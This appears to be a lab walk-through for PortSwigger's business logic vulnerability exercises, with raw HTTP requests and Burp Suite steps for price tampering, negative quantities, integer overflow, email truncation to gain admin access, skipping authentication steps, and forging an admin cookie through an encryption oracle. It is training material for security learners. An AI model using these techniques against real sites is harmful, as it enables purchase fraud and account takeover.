Walk-through of the Business logic vulnerabilities lab on PortSwigger Web Security Academy. See Examples of business logic vulnerabilities.
- Apprentice – Excessive trust in client-side controls
- Apprentice – High-level logic vulnerability
- Apprentice – Inconsistent security controls
- Apprentice – Flawed enforcement of business rules
- Practitioner – Low-level logic flaw
- Practitioner – Inconsistent handling of exceptional input
- Practitioner – Weak isolation on dual-use endpoint
- Practitioner – Insufficient workflow validation
- Practitioner – Authentication bypass via flawed state machine
- Practitioner – Infinite money logic flaw
- Practitioner – Authentication bypass via encryption oracle
Apprentice – Excessive trust in client-side controls
To solve the lab, buy a “Lightweight l33t leather jacket”.
- Click on My account and log in with credentials wiener/peter.
- On the Home page, click on View details under the lightweight leather jacket.
- Intercept request in Burp Suite.
- Click Add to cart.
- Change the price parameter value to 100, which is 1$.
POST /cart HTTP/1.1
...
productId=1&redir=PRODUCT&quantity=1&price=133700
POST /cart HTTP/1.1
...
productId=1&redir=PRODUCT&quantity=1&price=100
- Click on the cart icon.
- Click Place order.
Apprentice – High-level logic vulnerability
To solve the lab, buy a “Lightweight l33t leather jacket”.
- Click on My account and log in with credentials wiener/peter.
- On the Home page, click on View details under the lightweight leather jacket.
- Click Add to cart. The item is $1337, current store credits is $100.
- On the Home page, click on View details under Grow Your Own Spy Kit. This item costs $90.71.
- Intercept request in Burp Suite.
- Click Add to cart.
- Change the quantity parameter value to -14, which is -1,269.94$.
POST /cart HTTP/1.1
...
productId=14&redir=PRODUCT&quantity=-14
The cart now contains 1 Lightweight “l33t” Leather Jacket and -14 Grow Your Own Spy Kit for a total of $67.06. Click on Place order.
Apprentice – Inconsistent security controls
To solve the lab, access the admin panel and delete Carlos.
- Spider the target using Engagement tools->Discover content. You will discover /admin. You will get a message “Admin interface only available if logged in as a DontWannaCry user”.
- Click on Register to create a new “test” user. Use the Email client to check the email address. Notice the message “If you work for DontWannaCry, please use your @dontwannacry.com email address”.
- Click on the registration link in the email to confirm the account creation.
- Click on My account to log in.
- Update your email to whatever@dontwannacry.com. There is no validation that the email belongs to the user or that the email address exists.
- The Admin panel link will appear. Delete user carlos to solve the lab.
Apprentice – Flawed enforcement of business rules
To solve the lab, exploit this flaw to buy a “Lightweight l33t leather jacket”.
- On the Home page:
- Take note of the coupon code: New customers use code at checkout: NEWCUST5
- Sign up for the newsletter (at the bottom) using any fake email address. You will get code SIGNUP30.
- Click on My account and log in with credentials wiener/peter.
- On the Home page, click on View details under the lightweight leather jacket.
- Click Add to cart. The item is $1337, current store credits is $100.
- Add coupons. If you add the same coupon twice in a row, you will get message “Coupon already applied”. Alternate between coupons until total is below $100 (available store credits).
NEWCUST5
SIGNUP30
NEWCUST5
SIGNUP30
NEWCUST5
SIGNUP30
NEWCUST5
SIGNUP30
Click on Place order.
Practitioner – Low-level logic flaw
This lab doesn’t adequately validate user input. You can exploit a logic flaw in its purchasing workflow to buy items for an unintended price. To solve the lab, buy a “Lightweight l33t leather jacket”.
According to PHP’s documentation on Integers, the maximum integer (32-bit systems) is 2147483647.
- Click on My account and log in with credentials wiener/peter.
- On the Home page, click on View details under the lightweight leather jacket.
- Add 1 jacket to the cart.
- Send the request to the Intruder module. Remove the jacket from the cart to start with an empty cart.
- In the Positions tab:
- Change quantity to 99 (max number).
- Add a dummy variable.
- In the Payloads tab:
- Since the maximum integer is 2147483647, and jacket costs 133700 cents, and we add 99 items, to overflow we need 2147483647/133700/99=162.2. Since we want to go back with a price between 0 and 100 (store credits), 162*2=324, so use 324 iterations.
- Use payload type Number, from 1 to 324, step 1.
- In the Settings tab:
- Unselect Make unmodified baseline request.
- Start the attack.
POST /cart HTTP/1.1
...
productId=1&redir=PRODUCT&quantity=99&dummy=§whatever§
Total is now -$64060.96. From the Repeater module, add 47 jackets.
POST /cart HTTP/1.1
...
productId=1&redir=PRODUCT&quantity=47
Total is now -$1221.96.
- Use another product to obtain a total between 0 and 100 store credits. Use the “BBQ Suitcase” (productId=3).
- Buy ($94.01 = 9401 cents) * 13 = 122213.
POST /cart HTTP/1.1
...
productId=3&quantity=13&redir=CART
The total will be $0.17. Click on Place order.
Practitioner – Inconsistent handling of exceptional input
This lab doesn’t adequately validate user input. You can exploit a logic flaw in its account registration process to gain access to administrative functionality. To solve the lab, access the admin panel and delete Carlos.
- Spider the target using Engagement tools->Discover content. You will discover /admin. You will get a message “Admin interface only available if logged in as a DontWannaCry user”.
- Click on Register. Notice the message “If you work for DontWannaCry, please use your @dontwannacry.com email address”.
- Enter user “test” user. Use the Email client to check the email address. Try a very long email address.
msf-pattern_create -l 300
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9@exploit-<EMAIL ID>.exploit-server.net
- Click on the registration link in the email to confirm the account creation.
- Click on My account to log in.
Your email is: Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4
msf-pattern_offset -l 300 -q 3Ai4
[*] Exact match at offset 251
The email address is truncated at 255 characters (251 + 4 characters “3Ai4”).
- Log out.
- Click on Register.
- Create an email address that will be truncated to end with “dontwannacry.com” (16 characters). 255 – 16 = 239 characters. During the tests, length 238 worked.
- Enter user “test2” user and use this email address:
msf-pattern_create -l 238
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8A@dontwannacry.com.exploit-<EMAIL ID>.exploit-server.net
- Click on the registration link in the email to confirm the account creation.
- Click on My account to log in.
Your email is: Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8A@dontwannacry.com
The Admin panel will appear. Delete user carlos to solve the lab.
Practitioner – Weak isolation on dual-use endpoint
This lab makes a flawed assumption about the user’s privilege level based on their input. As a result, you can exploit the logic of its account management features to gain access to arbitrary users’ accounts. To solve the lab, access the administrator account and delete Carlos.
- Click on My account and log in with credentials wiener/peter.
- Change your password.
- Send the request to the Repeater module.
POST /my-account/change-password HTTP/1.1
...
csrf=MSUCac5sqtFlGtMKXI7KrWKiKLG7X1LV&username=wiener¤t-password=peter&new-password-1=peter&new-password-2=peter
- Change the username to “administrator”.
- Remove the current-password parameter and send the request.
POST /my-account/change-password HTTP/1.1
...
csrf=MSUCac5sqtFlGtMKXI7KrWKiKLG7X1LV&username=administrator&&new-password-1=peter&new-password-2=peter
HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
X-Frame-Options: SAMEORIGIN
Connection: close
Content-Length: 2383
...
<p>Password changed successfully!</p>
...
- Click on My account to refresh.
- Click on Log out.
- Click on My account and log in with credentials administrator/peter.
- Click on Admin panel.
- Delete user carlos to solve the lab.
Practitioner – Insufficient workflow validation
This lab makes flawed assumptions about the sequence of events in the purchasing workflow. To solve the lab, exploit this flaw to buy a “Lightweight l33t leather jacket”.
- Click on My account and log in with credentials wiener/peter.
- Add any item under 100$ to the cart.
- Click Place order.
POST /cart/checkout HTTP/1.1
...
csrf=SmJoVJbs2uXDLmuCevBjf5i0CpAOWSK4
HTTP/1.1 303 See Other
Location: /cart/order-confirmation?order-confirmed=true
X-Frame-Options: SAMEORIGIN
Connection: close
Content-Length: 0
The checkout redirects to “/cart/order-confirmation?order-confirmed=true”.
GET /cart/order-confirmation?order-confirmed=true HTTP/1.1
...
- Add the Lightweight “l33t” Leather Jacket to the cart.
- Send the previous request “/cart/order-confirmation?order-confirmed=true” to the Repeater and send it.
- This skips the validation of the funds and buys the jacket.
Practitioner – Authentication bypass via flawed state machine
This lab makes flawed assumptions about the sequence of events in the login process. To solve the lab, exploit this flaw to bypass the lab’s authentication, access the admin interface, and delete Carlos.
- Intercept requests.
- Click on My account and log in with credentials wiener/peter.
POST /login HTTP/1.1
...
csrf=6IeqragVcEP5BKm89J1epgENYWbIvxgF&username=wiener&password=peter
HTTP/1.1 302 Found
Location: /role-selector
Set-Cookie: session=kyxdKtbN6W9MI8MQBm9e1gitgltbGno9; Secure; HttpOnly; SameSite=None
X-Frame-Options: SAMEORIGIN
Connection: close
Content-Length: 0
A request is sent to /role-selector. Drop the request to be logged in as administrator and delete user carlos.
Practitioner – Infinite money logic flaw
To solve the lab, exploit this flaw to buy a “Lightweight l33t leather jacket”.
- On the Home page, sign up for the newsletter (at the bottom) using any fake email address. You will get code SIGNUP30.
- Click on My account and log in with credentials wiener/peter.
- On the Home page, click on View details for the Gift Card. Add 14 Gift cards to the cart and apply code SIGNUP30. You will gain $3 per gift card.
- Click on Place order.
- You will get these codes:
IgoIyOpC9b
2nUEDJKeKp
GMPdaOcZdS
LOcbsUv3PS
4aQZdrzcv3
nQRccUDaph
2QTcmp0NZo
joqXeh7rMF
M8IVE2D01P
JQquxjwtut
HGPlg2rwnY
LYKjkSnV9o
AHqIpP8WJt
qolqrCIsiw
- Click on My account.
- Enter the first code and redeem the gift card.
- Send the request to the Intruder module.
- Copy/paste the list of gift cards to automate redeeming all cards. You will now have $142 instead of $100.
- Redo the process for 20 gift cards (do not forget to apply code SIGNUP30). You will now have $202.
- Redo the process for 28 cards. You will have $286.
- Redo the process for 40 cards. You will have $406.
- Redo the process for 58 cards. You will have $580.
- Redo the process for 82 cards. You will have $826.
- Redo the process for 118 cards (a message will say you can’t go higher than 99, but add +1 manually in the cart). You will have $1180.
- On the Home page, click on View details under the lightweight leather jacket.
- Click Add to cart. The item is $1337.
- Add coupon SIGNUP30. The jacket is now $935.90.
- Click on Place order.
Practitioner – Authentication bypass via encryption oracle
This lab contains a logic flaw that exposes an encryption oracle to users. To solve the lab, exploit this flaw to gain access to the admin panel and delete Carlos. You can log in to your own account using the following credentials: wiener:peter
- Click on My account, click the checkbox Stay logged in and log in with credentials wiener/peter.
POST /login HTTP/2
Host: <LAB ID>.web-security-academy.net
Cookie: session=<session>
[...]
csrf=<token>&username=wiener&password=peter&stay-logged-in=on
HTTP/2 302 Found
Location: /my-account?id=wiener
Set-Cookie: stay-logged-in=eQEzVIoDis3RqaK5YYL5Q1pB%2feL0%2fBg%2ffAGnFTkxlco%3d; Expires=Wed, 01 Jan 3000 01:00:00 UTC
Set-Cookie: session=<session>; Secure; HttpOnly; SameSite=None
X-Frame-Options: SAMEORIGIN
Content-Length: 0
We notice that the stay-logged-in cookie is encrypted.
- Click on Home.
- Click on View post under the any post.
- Post a comment using an invalid email address.
POST /post/comment HTTP/2
Host: <LAB ID>.web-security-academy.net
Cookie: stay-logged-in=eQEzVIoDis3RqaK5YYL5Q1pB%2feL0%2fBg%2ffAGnFTkxlco%3d; session=<session>
[...]
csrf=<token>&postId=2&comment=Whatever&name=Whatever&email=whatever&website=http%3A%2F%2Fwhatever.com
HTTP/2 302 Found
Location: /post?postId=2
Set-Cookie: notification=2qLAgabQZh7ohmgVG0KxdON4w1q1VnhVe3o7HP%2bGDBA%3d; HttpOnly
X-Frame-Options: SAMEORIGIN
Content-Length: 0
GET /post?postId=2 HTTP/2
Host: <LAB ID>.web-security-academy.net
Cookie: notification=2qLAgabQZh7ohmgVG0KxdON4w1q1VnhVe3o7HP%2bGDBA%3d; stay-logged-in=eQEzVIoDis3RqaK5YYL5Q1pB%2feL0%2fBg%2ffAGnFTkxlco%3d; session=<session>
[...]
HTTP/2 200 OK
Content-Type: text/html; charset=utf-8
Set-Cookie: notification=; Expires=Thu, 01 Jan 1970 00:00:00 UTC; HttpOnly
X-Frame-Options: SAMEORIGIN
Content-Length: 7822
[...]
<header class="notification-header">
Invalid email address: whatever
</header>
[...]
A cookie notification is created and the message “Invalid email address: whatever” is displayed on the screen and contains the email address user controllable input. We can deduce the notification cookie value is decrypted and displayed on screen.
- Send “POST /post/comment” and encrypt the content of the email address input.
- Send “GET /post?postId=2” to decrypt the content of the notification cookie.
To decrypt the stay-logged-in cookie, send this request with the Repeater module and set the notification cookie to the value of the stay-logged-in cookie.
GET /post?postId=2 HTTP/2
Host: <LAB ID>.web-security-academy.net
Cookie: notification=eQEzVIoDis3RqaK5YYL5Q1pB%2feL0%2fBg%2ffAGnFTkxlco%3d; stay-logged-in=eQEzVIoDis3RqaK5YYL5Q1pB%2feL0%2fBg%2ffAGnFTkxlco%3d; session=<session>
[...]
HTTP/2 200 OK
Content-Type: text/html; charset=utf-8
Set-Cookie: notification=; Expires=Thu, 01 Jan 1970 00:00:00 UTC; HttpOnly
X-Frame-Options: SAMEORIGIN
Content-Length: 7811
[...]
<header class="notification-header">
wiener:1687269663707
</header>
[...]
We find “wiener:1687269663707”, which means that the format is “username:timestamp”. To become administrator, we need to encrypt “administrator:1687269663707”.
POST /post/comment HTTP/2
Host: <LAB ID>.web-security-academy.net
Cookie: stay-logged-in=eQEzVIoDis3RqaK5YYL5Q1pB%2feL0%2fBg%2ffAGnFTkxlco%3d; session=F1FBi17F8ub3GjEVfCT5eIZOj6oTNBol
[...]
csrf=<token>&postId=2&comment=Whatever&name=Whatever&email=administrator:1687269663707&website=http%3A%2F%2Fwhatever.com
HTTP/2 302 Found
Location: /post?postId=2
Set-Cookie: notification=2qLAgabQZh7ohmgVG0KxdAhwcOF9AzhFyX7uR7%2f31sIzO9oyy3GJIIo2IchOVUdFTGGUsGMdAyzaDvWuZKq9Hg%3d%3d; HttpOnly
X-Frame-Options: SAMEORIGIN
Content-Length: 0
Decrypting the notification cookies results in “Invalid email address: administrator:1687269663707”. We need to remove the “Invalid email address: ” part, which is 23 characters.
Send the notification cookie to the Decoder module. Decode as URL, then as base 64. Select the Hex format (not Text).
2qLAgabQZh7ohmgVG0KxdAhwcOF9AzhFyX7uR7%2f31sIzO9oyy3GJIIo2IchOVUdFTGGUsGMdAyzaDvWuZKq9Hg%3d%3d
2qLAgabQZh7ohmgVG0KxdAhwcOF9AzhFyX7uR7/31sIzO9oyy3GJIIo2IchOVUdFTGGUsGMdAyzaDvWuZKq9Hg==
DA A2 C0 81 A6 D0 66 1E E8 86 68 15 1B 42 B1 74 08 70 70 E1 7D 03 38 45 C9 7E EE 47 BF F7 D6 C2 33 3B DA 32 CB 71 89 20 8A 36 21 C8 4E 55 47 45 4C 61 94 B0 63 1D 03 2C DA 0E F5 AE 64 AA BD 1E
Click on the first 23 bytes, right-click to Delete selected bytes. We have 41 bytes.
45 C9 7E EE 47 BF F7 D6 C2 33 3B DA 32 CB 71 89 20 8A 36 21 C8 4E 55 47 45 4C 61 94 B0 63 1D 03 2C DA 0E F5 AE 64 AA BD 1E
Encode in base 64, then URL-encode.
Rcl+7ke/99bCMzvaMstxiSCKNiHITlVHRUxhlLBjHQMs2g71rmSqvR4=
%52%63%6c%2b%37%6b%65%2f%39%39%62%43%4d%7a%76%61%4d%73%74%78%69%53%43%4b%4e%69%48%49%54%6c%56%48%52%55%78%68%6c%4c%42%6a%48%51%4d%73%32%67%37%31%72%6d%53%71%76%52%34%3d
When trying to decrypt the URL-encoded value, we get an error message.
Input length must be multiple of 16 when decrypting with padded cipher
Pad the “Invalid email address: ” prefix (23 bytes) with enough bytes so that the number of bytes removed is a multiple of 16. So 32 – 23 = 9. Add a 9-character prefix to the email address so we can remove the 32 characters (“Invalid email address: xxxxxxxxx”) after encryption.
xxxxxxxxxadministrator:1687269663707
POST /post/comment HTTP/2
Host: <LAB ID>.web-security-academy.net
Cookie: stay-logged-in=eQEzVIoDis3RqaK5YYL5Q1pB%2feL0%2fBg%2ffAGnFTkxlco%3d; session=<token>
[...]
csrf=<token>&postId=2&comment=Whatever&name=Whatever&email=xxxxxxxxxadministrator:1687269663707&website=http%3A%2F%2Fwhatever.com
HTTP/2 302 Found
Location: /post?postId=2
Set-Cookie: notification=2qLAgabQZh7ohmgVG0KxdDVUByvqcydO33jWhaE7SC%2fy3awG3lo0WO7p85X%2bhKCc4zxj8Aze%2bg5gOvX4CVm8XA%3d%3d; HttpOnly
X-Frame-Options: SAMEORIGIN
Content-Length: 0
Send the notification cookie to the Decoder module. Decode as URL, then as base 64. Select the Hex format (not Text).
2qLAgabQZh7ohmgVG0KxdDVUByvqcydO33jWhaE7SC%2fy3awG3lo0WO7p85X%2bhKCc4zxj8Aze%2bg5gOvX4CVm8XA%3d%3d
2qLAgabQZh7ohmgVG0KxdDVUByvqcydO33jWhaE7SC/y3awG3lo0WO7p85X+hKCc4zxj8Aze+g5gOvX4CVm8XA==
DA A2 C0 81 A6 D0 66 1E E8 86 68 15 1B 42 B1 74 35 54 07 2B EA 73 27 4E DF 78 D6 85 A1 3B 48 2F F2 DD AC 06 DE 5A 34 58 EE E9 F3 95 FE 84 A0 9C E3 3C 63 F0 0C DE FA 0E 60 3A F5 F8 09 59 BC 5C
Remove 32 bytes. Encode as base 64, then as URL.
F2 DD AC 06 DE 5A 34 58 EE E9 F3 95 FE 84 A0 9C E3 3C 63 F0 0C DE FA 0E 60 3A F5 F8 09 59 BC 5C
8t2sBt5aNFju6fOV/oSgnOM8Y/AM3voOYDr1+AlZvFw=
%38%74%32%73%42%74%35%61%4e%46%6a%75%36%66%4f%56%2f%6f%53%67%6e%4f%4d%38%59%2f%41%4d%33%76%6f%4f%59%44%72%31%2b%41%6c%5a%76%46%77%3d
Decrypt the URL-encoded value to validate. We get “administrator:1687269663707”. In the web browser, set the stay-logged-in cookie to the URL-encoded value, remove the session and notification cookies and refresh the page. And Admin panel appears. Click on the admin panel and delete user carlos to solve the lab.